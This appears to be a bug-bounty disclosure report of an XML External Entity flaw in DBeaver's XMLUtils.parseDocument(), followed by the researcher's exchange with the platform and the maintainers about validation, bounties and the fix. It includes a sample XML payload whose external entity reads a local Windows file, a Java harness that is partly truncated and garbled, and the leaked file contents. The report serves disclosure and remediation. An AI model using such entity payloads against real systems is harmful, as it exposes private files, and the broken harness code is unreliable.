# Improper Restriction of XML External Entity Reference in dbeaver/dbeaver





The dbeaver is vulnerable to XML External Entity (XXE). An attacker that is able to provide a crafted XML file as input to the parseDocument() function in the "XMLUtils.java" file may allow an attacker to execute XML External Entities (XXE), including exposing the contents of local files to a remote server.

## Proof of Concept

```
package xxe_poc;
import java.io.File;
import org.jkiss.utils.xml.XMLException;
import org.jkiss.utils.xml.XMLUtils;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
public class Poc {
   public static void main(String[] args) {
       File file = new File("C:\\Users\\[user]\\eclipse-workspace\\xxe_poc
        try {
           doc = XMLUtils.parseDocument(file);
           doc.getDocumentElement().normalize();
           NodeList nodeList = doc.getElementsByTagName("userInfo");
            for (int itr = 0; itr < nodeList.getLength(); itr++) {</pre>
               Node node = nodeList.item(itr);
                System.out.println("\nNode Name :" + node.getNodeName());
                if (node.getNodeType() == Node.ELEMENT_NODE) {
                   Element eElement = (Element) node;
                   System.out.println(
                            "Last Name: " + eElement.getElementsByTagName("
        } catch (XMLException e) \{
           // TODO Auto-generated catch block
           e.printStackTrace();
```

**→** 

sample.xml

```
<!--?xmL version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///c:/windows/win.ini"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
```

### Check the Output:

```
Node Name :userInfo
Last Name: ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
```

# Vulnerability Type Severity Affected Version Srikanth Prathi Srikanth Prathi We created a GitHub Issue asking the maintainers to create a SECURITY.md a year ago Srikanth Prathi a year ago Researcher @maintainer Please find the patch at https://github.com/srikanthprathi/dbeaver/pull/1 Srikanth Prathi modified the report a year ago Srikanth Prathi modified the report a year ago We have contacted a member of the ${f dbeaver}$ team and are waiting to hear back a year ago Srikanth Prathi submitted a patch a year ago Srikanth Prathi a year ago Researcher $\verb|https://github.com/dbeaver/dbeaver/commit/82cc6d4a8d306bc227342124238e5646b414b105\#diff-linear and the state of the st$ 6d65066e45a7ded5e705210f51a08551bac55ef424e6fda3e54d053628f78084 Can you please let me know the next step to validate this vulnerability? Z-Old a year ago Admin Hey Srikanth, thanks for asking. validating the report on huntr would reward you for your efforts. We're happy to support if the maintainer needs help accessing the platform; best place to reach us is on Discord. Srikanth Prathi a year ago Thanks, @Ziding. I have contacted them through their mail: tech-support@dbeaver.com regarding the same. A dbeaver/dbeaver maintainer validated this vulnerability a year ago Srikanth Prathi has been awarded the disclosure bounty 🗸 Srikanth Prathi a year ago Researcher @d be a ver/d be a ver Thank you very much for validating the reported vulnerability. Can you when the property of the prope

Srikanth Prathi submitted a patch a year ago	
A <b>dbeaver/dbeaver</b> maintainer marked this as fixed in 21.2.3 with commit 4debf8 a year	
Srikanth Prathi has been awarded the fix bounty ✓	
This vulnerability will not receive a CVE 🗶	
Jamie Slome a year ago	Admin
CVE published! 👭	
Sign in to join this conversation	

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